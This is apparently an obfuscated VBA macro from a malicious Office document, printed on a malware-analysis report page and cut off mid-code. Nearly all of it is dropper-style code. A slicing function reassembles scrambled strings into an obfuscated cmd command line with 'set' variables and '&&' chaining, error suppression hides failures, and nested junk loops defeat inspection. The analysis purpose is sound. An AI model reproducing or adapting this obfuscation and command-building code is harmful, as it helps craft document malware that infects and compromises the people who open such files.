Lwpjbz("HYihwAGEAOAA2AGEAOQAzADAANAA2AGQAOQA1ADgAZABiAGIAOQBmADEAYgA2ADgAMwAwAGIAYQAzADEAMgAxAGIAMABmADUAMgBmADQANQA1ADgAOQBlADMANQBhADMAOAAzADYAMQA1ADEAZAtw9", 5, 143) For Each rQnIJ In nipjXD QoNcJ = 80452 - poduoh For Each iCHrn In vsqIz nLJQI = saChV Next Next For Each mEvWM In rpDfC ltHQN = 83451 - MYvTjv For Each ZVopZj In SiTYPw fGmscZ = zrwnj Next Next nWYcbOAs = Lwpjbz("Y0JA8CABmADQAYQAxAGEAYwBiADcAZgAxADIAMQBiAGMANQBlADkAMwBkADEAOABmADYAZQBjADgAZAA1ADgAMwAZmD", 7, 82) For Each bbrlP In VrWAOF TSKnr = 96274 - IhSJaD For Each ibdsB In XOqriJ dmJFYn = GpmEE Next Next BBUlFGfV = oCuJiKLEmPsIM + """" + vEbTEiJP mfVWzZplzzFwlU = qvQwjYrbukizoN + YMlnuQtoZn + rnYjzBwFwLNKf + BBUlFGfV + EVUhJYzj + umbWiidvi + NhdGBCdm + QUqPovjir + qmHzVzoWdN + HitqGjOKC + nTmSz + qGBWGX + FLzmZrro + WTOdP + OFFihNWqfE + vrsNOCs + CzHbkjhv + LTHfqjPk + sEwYLFlumoA + SXKoVcvpVLN + ErtpWS + ooZzmS + npYCNu + djXDO + JtnvUfNaKjc + fXQnCJuKQ + znKnmcKL + MazREVuUL + GVADDzIdz + fcFfZ + qJldnzRcEk + RqalLfW + NuRzDIP + QCaMtLzpj + MSjNAzlWri + nWYcbOAs + JPTuCWS + YoTiUkMNk + WLYjiY + udkfZU + SrWCMDu + LNiCzJTF + Nvjjzl + duBkizUoQK + TSEwwHb + PzOpjqtjj + wjWwQKzcFF + iPLNfbwNY + rOQjuOP + TAdNiLlvVD + dGIKhHUTYHI + FGcdVicNf + CYnPiZKI + XAWqCsCc + zFzAKbVBpd + WRRbNT + iUfpWBri + WsLijBfnBul For Each XQwLaN In NTzWj Set jWwwX = otaSV IakuK = 61992 - ZYwHQa For Each jOfVa In ffowk Ajvzw = bJSnRT Next Next TlHAi = (jWLkZ - ChrB(27078)) End Function Attribute VB_Name = "WnqBfIJ" Function rnYjzBwFwLNKf() On Error Resume Next For Each GKldpO In EZLfT tbviii = 15623 - MiTQZ For Each dPWLG In WcXdj UjkNKn = KwlAAN Next Next wZZLkB = Lwpjbz("iLGZpOiz", 4, 2) For Each SQtcSM In tZoDA NURDR = 90888 - NYfwY For Each TOWsPV In SnFivL LbJvK = Okqhh Next Next For Each vQhunj In MKHIYw lDijDO = 32661 - CDTfVF For Each LwtijD In umVEt whNkhr = piaLRi Next Next zkdEzrcC = Lwpjbz("bmdO1zDe&&set %PlbP", 8, 10) For Each OiaHN In jzKOuP dIwNwU = 51859 - UqiwiU For Each cVhMCn In QMOrMG XwqRDH = mNNzDj Next Next For Each cXpTnt In aQMCj fABZt = 4684 - pqKnY For Each WIhaii In OwlJT mwszji = sMzFiS Next Next KGcDnwVsJpp = Lwpjbz("b7G%=ooFtzuw&&sItiEz0", 4, 8) For Each XumMC In wWFspi LHhPs = 11327 - PFwtd For Each ovKKc In QWwULY XuQsA = COXlf Next Next For Each QCCcRP In OMbmZI VloTo = 56069 - VKjCb For Each XikbZt In jHozd BrojVh = iLhLOa Next Next INLiA = Lwpjbz("QtdJmfVWzTji", 5, 5) For Each MvrWaq In XkbzN kjNwqq = 88381 - jjiKVt For Each LwZMw In LlPSXn dHMhHA = wzkUYj Next Next For Each JCJCW In NGESB Xcmzj = 79117 - SsMwv For Each ifEhw In joBkO iiIkVs = vpWwJa Next Next CLJrsQi = Lwpjbz("kEjzXJZmLnGEjiH", 8, 6) For Each WZNNw In OkrmJ GJRWV = 83437 - wzKzi For Each TRAbI In vGdmKb nIlwnV = wmVdSB Next Next For Each wXzis In pKTKuv wzlmd = 78082 - hkmYi For Each dfnau In rlCwX IbaNVm = UXvrPq Next Next FNaqdmodrd = Lwpjbz("sipGwGOuR", 4, 1) For Each PZqLlb In dQKWt lEmtB = 27464 - VMnUP For Each vNrin In kztRv NvmiLP = cVrQlB Next Next For Each DOzXf In TaESJi oTrpSi = 72116 - mKJiS For Each GMwXf In rfNidi pjYWX = jnuAL Next Next opHztzKc = Lwpjbz("J9O%SdQw7", 4, 2) For Each hWpQEp In MWNNGv qCJGIM = 69391 - vqOnlM For Each dLMniw In COItl hcSRb = bidorz Next Next For Each wjFZW In IsGzz idRjsP = 78258 - nbGmiI For Each tvkTjc In iwkCBU OVIHjR = dwnPtu Next Next oJrNJ = Lwpjbz("wfc!%nuCmwZhUj%!!%PlOrc0WC", 4, 19) For Each UdTvNt In wViRC uSvqOT = 86869 - Gzfzr For Each QzwEmi In NVRGnb RAdqiT = KCzAZB Next Next For Each JacoiQ In JIarVl fqcqid = 60074 - zqOCi For Each WujHYn In GNQdv UptAj = rmwtrb Next Next jOzqILdDK = Lwpjbz("jSXet %SaU", 4, 4) For Each vqcma In ijmNuk wOYdLN = 68533 - KiEpi For Each qGZBo In CrZdbq Nmhbw = mpdOT Next Next For Each aaBKI In MPApZX HuRsAE = 73791 - rzrYN For Each wrljN In vmqUjz GGDzF = SlABO Next Next BqFDuY = Lwpjbz("trset %VTPkUqid4P", 3, 11) For Each WCNicK In vPOYOG ssVEw = 17952 - hjCow For Each KulwpW In qchDNK CGriot = VZPvFE Next Next For Each TEhTk In YzQZs YiQJFi = 43806 - MBWrE For Each YpwUBw In TXpsM YjQhA = ilKrzt Next Next IZwDfDTpJj = Lwpjbz("usd,zIioBDzBFrL%bKj", 7, 10) For Each acBRh In PohiAw tUEGb = 31963 - jwlvUV For Each WKOwz In sYpSFH zNqBQ = cuNjEQ Next Next For Each vrjkR In UwiZk juVIa = 79971 - vdoTjN For Each ZTjAB In LZZNZ qJsWtL = DStaF Next Next DkHNnwz = Lwpjbz("vBJa%!!%hoLXmmwtaiuw", 3, 14) For Each rpwuHY In XDrBMi QuKVH = 68322 - zcCHvH For Each Jvjsi In JiPfS ZNnRrJ = nzJIY Next Next For Each wvPcfE In XGtIVJ awIkPk = 6569 - ajkLDA For Each lbrTr In EwFBw RVDCs = QIdiN Next Next TZCXYaVfDj = Lwpjbz("KsLL1&&stA1", 6, 3) For Each aiSUf In TAbXUS CROVA = 6501 - RclIWh For Each AnrXDO In sIFkQN zhuAll = tBncii Next Next For Each wZCnTW In CBjHbr uYNND = 14266 - pqOZS For Each fCaLpk In IbKPf jcDJLG = rSbEP Next Next OfNuw = Lwpjbz("skoLXmmwt%=sw%wihm", 3, 10) For Each cfHjoO In jMzbX rlzSN = 95677 - OXpmhC For Each uvNbV In FHaBsW dEXdb = uOmuAN Next Next For Each qjucH In maZhDl DlZzFU = 70226 - OYdku For Each wGwzhr In UwQbX TCRQi = RobBj Next Next wiCIjwCPNTC = Lwpjbz("8zzaoFJbwVR%=ll&&Hw", 7, 11) For Each vwwbI In rMLqU iVudjo = 18117 - iwRGz For Each vjcpU In OdmsR oAjKKd = qiMHoE Next Next For Each KzzfGc In EWMXtd bjRFpP = 84498 - fCTOTP For Each QpkbEQ In JONvc JiOuaj = MYhnwm Next Next uvOqpVCju = Lwpjbz("sVBOtTzKaLH9wTi", 3, 8) For Each SzLrI In UGXmRY KXCru = 73713 - lwnZo For Each cWrHwf In AzMCV vNDLbc = ZcpWq Next Next For Each JjEtAj In oZHpui zzRCJ = 54406 - EbAzmw For Each wzZhdk In mPsSz vYhbU = MuAUO Next Next WwZULTMW = Lwpjbz("8svLet %TGjjGJa%=eoFtzur&&H8Dz", 5, 18) For Each KnEID In NhAqah QwjNi = 47470 - JbzjtY For Each QmzziL In TwPdLz RAEwA = DXchS Next Next For Each VqoXVb In iPTUYC jMhai = 17954 - rFwDm For Each wroju In fbFhb fPLGHS = iNdzHc Next Next NBaziEPIaOl = Lwpjbz("cEset %SOXjwmuO", 3, 9) For Each mbdkrT In Kinbka WsdiG = 82908 - tqlwiY For Each DUrjG In lEwVp AVhXf = siLVA Next Next For Each oYMlUO In rVhHfA cqcbX = 22987 - SYAMk For Each aCVltt In mTTRar aRcTVl = QimjN Next Next DzYCC = Lwpjbz("Tr5,se2d", 5, 2) For Each wWAMY In ZTpAvO HUJXKB = 61167 - aBvjr For Each XJTiFj In uPTHtp UlQhF = dzGKbf Next Next For Each boEHw In YmYCcF mPwFiQ = 73627 - ZXooq For Each EmaoZ In ipFFN nLzRB = KrUwPK Next Next ursjWKK = Lwpjbz("j,.ddOJbwVR%! j67u5a", 4, 11) For Each qFzCR In SFpTz OCjzzJ = 82758 - GcaOHV For Each dwkHXP In jTkmop SwszTn = isWnYS Next Next For Each kCwEZa In dABbca tjmjvO = 22171 - npwPc For Each Qvqnai In tVBmwK qqCJT = ddfvn Next Next JEOZAfwcPIJ = Lwpjbz("%2iiYHPs%jXW@w", 3, 7) For Each QhPHFK In lNFLoB oAOktz = 7952 - MwnovS For Each mQuzv In QiOvc YJkfNH = VdPuCo Next Next For Each bzhDBf In BjIQG ZtCLA = 89840 - nXiap For Each QRTwJu In HTwKzs ifzvD = HLraw Next Next VfojhdOIB = Lwpjbz("V5h,oQPzPdhZ1", 7, 5) For Each PnsES In OHPAh wVZPGu = 84357 - IqmIX For Each XWmEZt In EftOOj ikpdw = whtrF …

Open this report in the interactive analyzer, or submit your own file for analysis.